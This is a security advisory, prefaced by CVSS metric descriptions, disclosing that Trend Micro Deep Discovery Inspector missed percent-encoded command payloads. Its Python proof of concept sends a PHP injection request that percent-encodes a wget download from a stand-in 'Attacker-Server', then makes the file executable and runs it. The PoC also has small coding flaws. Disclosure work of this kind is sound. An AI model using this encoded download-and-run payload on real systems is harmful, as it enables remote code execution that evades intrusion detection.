The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Trend Micro Deep Discovery Inspector IDS Security Bypass
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/TREND-MICRO-DEEP-DISCOVERY-INSPECTOR-PERCENT-ENCODING-IDS-BYPASS.txt
[+] ISR: Apparition Security
[Vendor]
www.trendmicro.com
[Product]
Deep Discovery Inspector
Deep Discovery Inspector is a network appliance that monitors all ports and over 105 different network protocols to discover advanced threats and targeted attacks
moving in and out of the network and laterally across it. The appliance detects and analyzes malware, command-and-control (C&C) communications, and evasive attacker
activities that are invisible to standard security defenses.
[Vulnerability Type]
Percent Encoding IDS Bypass
[CVE Reference]
Vendor decided not to release a CVE
[Security Issue]
Trend Micro Deep Discovery Inspector IDS will typically trigger alerts for malicious system commands like "Wget Commandline Injection" and they will be flagged as high.
Attacker payloads sent with normal ascii characters for example like "wget" or even if they have been HEX encoded like "\x77\x67\x65\x74" they will still get flagged and alerted on.
However, attackers can easily bypass these alerts by sending malicious commands in HEX preceded by percent sign chars "%", e.g. "%77%67%65%74" which also translates to "wget" and
will not get flagged or alerted on and may still be processed on the target system.
e.g.
DDI RULE 2452
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/network/ddi-rule-2452
Therefore, Trend Micro IDS alerts can be easily bypassed and the payload is still run by the vulnerable target if the payload is encoded using percent/hex encoding like %77%67%65%74.
That will not only bypass the IDE by having no alert triggered or notification sent but the application will still process the malicious command.
Importantly, the "wget" DDI Rule 2452 used is just an example and can potentially be any malicious request where the IDS checks the character encodings but fails to account for
percent encoded HEX character payload values.
[Exploit/POC]
from socket import *
#Bypass TM DDI IDS e.g. Rule 2452 (Wget command line injection) PoC
#Discovery: hyp3rlinx - ApparitionSec
#Apparition Security
#Firewall Rule Bypass
IP = raw_input("[+] Trend Micro IDS")
PORT = 80
payload="/index.php?s=/index/vulnerable/app/invoke&function=call_user_func_array&vars[0]=system&vars[1][]=%77%67%65%74%20http://Attacker-Server/x.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a"
req = "GET "+payload+" HTTP/1.1\r\nHost"+IP+"\r\nConnection: close\r\n\r\n"
s=socket(AF_INET, SOCK_STREAM)
s.connect((IP, PORT))
s.send(req)
res=""
while True:
res = s.recv(512)
print res
if res=="\n" or "</html>":
break
s.close()
#Result is 200 HTTP OK and code execution on vuln app and No IDS Alert gets triggered.
[Network Access]
Remote
[Severity]
High
[Disclosure Timeline]
Vendor Notification: May 14, 2019
Vendor confirmed the IDS Bypass: May 20, 2019
Vendor informed that a DDI IDS enhancement has been made: July 18, 2019
July 23, 2019 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
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